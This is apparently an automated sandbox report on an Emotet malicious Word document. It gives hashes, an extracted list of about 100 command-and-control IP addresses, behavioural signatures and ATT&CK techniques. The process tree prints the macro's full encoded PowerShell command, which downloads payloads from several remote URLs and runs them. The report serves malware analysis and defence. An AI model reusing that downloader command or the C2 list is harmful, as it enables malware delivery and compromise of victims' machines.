emotet | 055c0768feaa5f21bc4c430d586190b390dfcb0f18a8c908bf9dc4fa01bc99d0

Analysis

max time kernel
145s
max time network
145s
platform
windows10_x64
resource
win10
submitted
16/10/2020, 16:36

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General

Target
emotet_e2_055c0768feaa5f21bc4c430d586190b390dfcb0f18a8c908bf9dc4fa01bc99d0_2020-10-16__163345606980._doc.doc
Size 154KB
Sample201016-e5jqydzb6a
SHA256 055c0768feaa5f21bc4c430d586190b390dfcb0f18a8c908bf9dc4fa01bc99d0
MD5 6207a37fa095323cc6cc98f14f654535
SHA1 63f320c8118387399c70057dec18ca8055ae85e8
SHA512 34da597a9223ad91faf3af3131acc57bad5b1418868d3402de138e22af4ed072e35fc714f2364994726a94fda2e342ac9343329683ce51f44d725f7c8fcd8080
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Family

emotet

Botnet

Epoch2

208.180.207.205:80
167.114.153.111:8080
169.50.76.149:8080
87.106.136.232:8080
134.209.36.254:8080
110.145.77.103:80
61.19.246.238:443
218.147.193.146:80
194.4.58.192:7080
123.176.25.234:80
139.99.158.11:443
174.106.122.139:80
137.59.187.107:8080
37.187.72.193:8080
168.235.67.138:7080
190.108.228.27:443
139.59.60.244:8080
184.180.181.202:80
71.72.196.159:80
47.144.21.12:443
50.35.17.13:80
103.86.49.11:8080
47.36.140.164:80
37.139.21.175:8080
62.30.7.67:443
139.162.60.124:8080
104.131.11.150:443
83.110.223.58:443
74.208.45.104:8080
50.91.114.38:80
75.143.247.51:80
209.54.13.14:80
188.219.31.12:80
194.187.133.160:443
209.141.54.221:7080
109.74.5.95:8080
76.175.162.101:80
104.131.44.150:8080
142.112.10.95:20
96.245.227.43:80
94.23.237.171:443
118.83.154.64:443
162.241.140.129:8080
89.216.122.92:80
5.196.74.210:8080
121.7.31.214:80
24.137.76.62:80
76.171.227.238:80
75.139.38.211:80
5.39.91.110:7080
71.15.245.148:8080
94.200.114.161:80
140.186.212.146:80
62.75.141.82:80
120.150.218.241:443
203.153.216.189:7080
124.41.215.226:80
113.61.66.94:80
139.162.108.71:8080
79.98.24.39:8080
69.206.132.149:80
216.139.123.119:80
74.214.230.200:80
91.146.156.228:80
97.82.79.83:80
130.0.132.242:80
5.196.108.189:8080
176.111.60.55:8080
172.104.97.173:8080
78.24.219.147:8080
61.33.119.226:443
162.241.242.173:8080
172.91.208.86:80
68.252.26.78:80
174.45.13.118:80
85.25.106.204:8080
157.245.99.39:8080
185.94.252.104:443
95.213.236.64:8080
87.106.139.101:8080
190.240.194.77:443
93.147.212.206:80
24.179.13.119:80
120.150.60.189:80
49.50.209.131:80
104.131.123.136:443
72.143.73.234:443
91.211.88.52:7080
121.124.124.40:7080
220.245.198.194:80
186.74.215.34:80
78.188.106.53:443
96.249.236.156:443
46.105.131.79:8080
79.137.83.50:443
108.46.29.236:80
181.126.74.180:80
110.142.236.207:80
80.241.255.202:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1860	3036	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3844-13-0x0000000000610000-0x000000000062C000-memory.dmp	emotet
behavioral2/memory/3844-14-0x0000000000630000-0x000000000064B000-memory.dmp	emotet
behavioral2/memory/1852-17-0x0000000002120000-0x000000000213C000-memory.dmp	emotet
behavioral2/memory/1852-18-0x0000000002160000-0x000000000217B000-memory.dmp	emotet

Blacklisted process makes network request 7 IoCs

flow	pid	Process
16	1860	POwersheLL.exe
18	1860	POwersheLL.exe
20	1860	POwersheLL.exe
22	1860	POwersheLL.exe
24	1860	POwersheLL.exe
27	1860	POwersheLL.exe
30	1860	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3844	I90_plys9.exe
1852	cmifw.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\mtxoci\cmifw.exe	I90_plys9.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3828	WINWORD.EXE
3828	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1860	POwersheLL.exe
1860	POwersheLL.exe
1860	POwersheLL.exe
1852	cmifw.exe
1852	cmifw.exe
1852	cmifw.exe
1852	cmifw.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1860	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3844	I90_plys9.exe
1852	cmifw.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3844 wrote to memory of 1852	3844	I90_plys9.exe	83
PID 3844 wrote to memory of 1852	3844	I90_plys9.exe	83
PID 3844 wrote to memory of 1852	3844	I90_plys9.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_055c0768feaa5f21bc4c430d586190b390dfcb0f18a8c908bf9dc4fa01bc99d0_2020-10-16__163345606980._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3828

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABSAGoAcgBzAHoANAAwAD0AKAAnAEYAJwArACcAMQAnACsAKAAnAGIAJwArACcAcwBjAGYAZAAnACkAKQA7ACQAUgBpAHUAYwAwADUAMgA9ACQAUgB3AGkAaQBzAHYANAAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQAWQBfAGUAcABrAHkANgA7ACQARwBfAG4AegBtAGoANAA9ACgAKAAnAEoAJwArACcAXwAxADYAJwApACsAKAAnAHMAMAAnACsAJwB5ACcAKQApADsAWwBzAHkAcwB0AGUAbQAuAGkAbwAuAGQAaQByAGUAYwB0AG8AcgB5AF0AOgA6ACIAYwBSAEUAYQBUAGAAZQBgAGQAaQByAEUAQwB0AE8AcgBZACIAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAFoAUgAnACsAKAAnAEQASwBsACcAKwAnAHYAOQAnACsAJwB1AHQAJwApACsAKAAnAHEAJwArACcAWgAnACsAJwBSAEQASQB1ACcAKQArACgAJwAwACcAKwAnADkAJwArACcAZgBlADAAWgBSAEQAJwApACkALQBjAFIAZQBQAGwAQQBDAGUAIAAoAFsAYwBoAEEAUgBdADkAMAArAFsAYwBoAEEAUgBdADgAMgArAFsAYwBoAEEAUgBdADYAOAApACwAWwBjAGgAQQBSAF0AOQAyACkAKQA7ACQATABrAGoAdQA3ADIAYgA9ACgAJwBNACcAKwAoACcAbQB1ACcAKwAnAHoAeQAnACkAKwAnAHUAbAAnACkAOwBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAcwBlAEMAdQBgAFIAaQB0AGAAWQBwAFIATwBUAGAAbwBjAGAATwBsACIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6ACIAVABMAGAAUwAxADIAIgA7ACQAVwByAGkAYwAzAG8AbAA9ACgAJwBVACcAKwAoACcAdwAnACsAJwA2AHQANwAwACcAKQArACcAeAAnACkAOwAkAFEAbwAyAHEAMABqAHcAIAA9ACAAKAAoACcASQA5ACcAKwAnADAAXwBwACcAKQArACgAJwBsAHkAJwArACcAcwA5ACcAKQApADsAJABHAGEAegBkADAANQB5AD0AKAAnAFoAJwArACgAJwBhADEAJwArACcAdgBwAGMAXwAnACkAKQA7ACQAVABrADcAdABpAHQAegA9ACgAKAAnAEoAMgB2ACcAKwAnAG0AZQAnACkAKwAnAHUANQAnACkAOwAkAE0AcABjAHgAdQBkAHMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcASABwACcAKwAnAEMASwAnACsAJwBsACcAKwAnAHYAJwArACcAOQB1ACcAKwAoACcAdAAnACsAJwBxAEgAJwArACcAcABDAEkAJwArACcAdQAnACsAJwAwADkAZgBlADAASABwACcAKQArACcAQwAnACkALgAiAFIAZQBwAGAAbABhAGAAYwBFACIAKAAoAFsAYwBIAGEAcgBdADcAMgArAFsAYwBIAGEAcgBdADEAMQAyACsAWwBjAEgAYQByAF0ANgA3ACkALAAnAFwAJwApACkAKwAkAFEAbwAyAHEAMABqAHcAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABEAHMAZgBsADIAegB5AD0AKAAoACcAVwB6ACcAKwAnADAAJwApACsAKAAnAHgAaQAnACsAJwAyACcAKQArACcAcwAnACkAOwAkAEoAdQB3AHEAbQBoADMAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AdwBFAGIAQwBMAEkAZQBOAHQAOwAkAFEAZwB4AGUAOABwAGoAPQAoACgAJwBoACcAKwAnAHQAdAAnACsAJwBwAHMAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AJwApACsAJwBzACcAKwAnAGEAJwArACgAJwBmAGUAYQBiAG8AcgAnACsAJwB0ACcAKwAnAGkAbwBuAHIAeAAnACsAJwAuAGMAJwApACsAKAAnAG8AbQAnACsAJwAvAGUAeAB0ACcAKwAnAC8AWABJAEkALwAnACkAKwAoACcAKgBoAHQAdABwAHMAOgAnACsAJwAvACcAKQArACcALwBiACcAKwAoACcAcgBpAGcAJwArACcAaAB0AGMAJwApACsAJwBkAHIAJwArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAdwBwACcAKQArACcALQAnACsAKAAnAGMAbwBuAHQAZQAnACsAJwBuACcAKwAnAHQAJwApACsAKAAnAC8AJwArACcATABOAFQARQBMACcAKQArACgAJwBpACcAKwAnAHEALwAqAGgAJwArACcAdAAnACsAJwB0AHAAcwA6AC8ALwB3AHcAJwArACcAdwAnACsAJwAuAGMAYQAnACsAJwB2AGEAbgBjACcAKwAnAGEAJwApACsAKAAnAHIAdAAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AcwAnACsAJwB0AGEAJwArACcAdABpACcAKwAoACcAYwAnACsAJwBtAGEAcAAvACcAKQArACcAVwBSACcAKwAoACcALwAqACcAKwAnAGgAJwApACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoAJwArACgAJwAvACcAKwAnAC8AdwB3AHcALgAnACkAKwAoACcAaAAnACsAJwBvAG0AJwApACsAJwBlACcAKwAoACcAYQBiACcAKwAnAG8AJwArACcAcgB0AGkAbwBuACcAKQArACcAcABpACcAKwAnAGwAbAAnACsAKAAnAHMAcgB4ACcAKwAnAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAKAAnAC8AJwArACcAZQB4AHQALwBOADYAJwApACsAJwBTAEsAJwArACgAJwBkAC8AJwArACcAKgBoAHQAJwApACsAJwB0ACcAKwAoACcAcAAnACsAJwA6ACcAKwAnAC8ALwBwAG8AcgB0ACcAKQArACgAJwBhACcAKwAnAGwALgAnACsAJwBkAGkAZwBpAHQAJwApACsAKAAnAGEAbABjAG8AJwArACcAbQAnACkAKwAnAHAAYQAnACsAKAAnAHMAcwAuAGMAbwBtACcAKwAnAC8AUwAnACkAKwAnAHQAeQAnACsAKAAnAGwAZQAnACsAJwBzACcAKQArACgAJwAvAGQAZQBlACcAKwAnAEIAJwApACsAKAAnAC8AKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGEAJwApACsAKAAnAHAAJwArACcAaQBkAG8AYwAnACkAKwAoACcAcwAuACcAKwAnAGQAJwApACsAKAAnAGMAZAAnACsAJwBpAGEAbAAnACkAKwAoACcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAaQAnACsAJwBuAGMAbAAnACsAJwB1AGQAZQBzACcAKwAnAC8ASAAvACcAKQArACgAJwAqAGgAJwArACcAdAAnACkAKwAoACcAdAAnACsAJwBwADoALwAnACkAKwAnAC8AJwArACcAMwA2ACcAKwAoACcAMAB3AHcAdwAnACsAJwAuAGMAYQAvAGMAbwAnACsAJwBuAHQAJwApACsAKAAnAGUAJwArACcAbgB0AC8AJwArACcAMgAvACcAKQApAC4AIgBzAHAATABgAGkAVAAiACgAJABBAHYAdQBuAHgAcABiACAAKwAgACQAUgBpAHUAYwAwADUAMgAgACsAIAAkAEgAZAAyAGgAaQBtAGIAKQA7ACQARQBhAHEAOQA4AHkAZAA9ACgAJwBRADYAJwArACcAeQB0ACcAKwAoACcAdQBjACcAKwAnAG4AJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFYANAB6ADEAMQB3AGgAIABpAG4AIAAkAFEAZwB4AGUAOABwAGoAKQB7AHQAcgB5AHsAJABKAHUAdwBxAG0AaAAzAC4AIgBkAE8AVwBgAE4AbABPAGEARABgAEYAYABJAEwARQAiACgAJABWADQAegAxADEAdwBoACwAIAAkAE0AcABjAHgAdQBkAHMAKQA7ACQARwB6AGwAdQBfAHEAZAA9ACgAKAAnAEwAcQBhACcAKwAnAHkAMAAnACkAKwAnAHEANAAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQATQBwAGMAeAB1AGQAcwApAC4AIgBMAEUATgBnAGAAVABoACIAIAAtAGcAZQAgADMAMQA2ADcANgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAnAHcAJwArACgAJwBpAG4AJwArACcAMwAyAF8AUAByAG8AJwArACcAYwAnACkAKwAoACcAZQBzACcAKwAnAHMAJwApACkAKQAuACIAQwBSAGAARQBhAGAAVABFACIAKAAkAE0AcABjAHgAdQBkAHMAKQA7ACQATwBxAGkAawB2AF8AbQA9ACgAJwBOACcAKwAoACcAMwAzACcAKwAnADIAdABmACcAKQArACcAaQAnACkAOwBiAHIAZQBhAGsAOwAkAEMAMAB0AGEAcgBwADIAPQAoACcAUwByACcAKwAoACcAcgAnACsAJwB5AHEAZAAnACkAKwAnAGcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABEADcAYQB4AGUAbQB5AD0AKAAnAFoAJwArACgAJwBkAHIAJwArACcAegBsACcAKwAnAF8AOQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1860

C:\Users\Admin\Klv9utq\Iu09fe0\I90_plys9.exe
C:\Users\Admin\Klv9utq\Iu09fe0\I90_plys9.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3844
- C:\Windows\SysWOW64\mtxoci\cmifw.exe
  "C:\Windows\SysWOW64\mtxoci\cmifw.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:1852

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1852-18-0x0000000002160000-0x000000000217B000-memory.dmp

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memory/1852-17-0x0000000002120000-0x000000000213C000-memory.dmp

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memory/1860-8-0x00007FFA38E90000-0x00007FFA3987C000-memory.dmp

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memory/1860-9-0x00000264A2C40000-0x00000264A2C41000-memory.dmp

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memory/1860-10-0x00000264A2E10000-0x00000264A2E11000-memory.dmp

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memory/3828-7-0x00000178645CC000-0x00000178645CE000-memory.dmp

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memory/3828-0-0x00007FFA40190000-0x00007FFA40856000-memory.dmp

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memory/3828-6-0x00000178645C7000-0x00000178645CC000-memory.dmp

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memory/3828-5-0x00000178645C7000-0x00000178645CC000-memory.dmp

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memory/3828-4-0x00000178645CC000-0x00000178645CE000-memory.dmp

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memory/3828-3-0x0000017862011000-0x0000017862022000-memory.dmp

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memory/3828-2-0x00000178643E2000-0x00000178643E7000-memory.dmp

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memory/3828-1-0x00000178643E2000-0x00000178643E7000-memory.dmp

Download

memory/3844-13-0x0000000000610000-0x000000000062C000-memory.dmp

Download

memory/3844-14-0x0000000000630000-0x000000000064B000-memory.dmp

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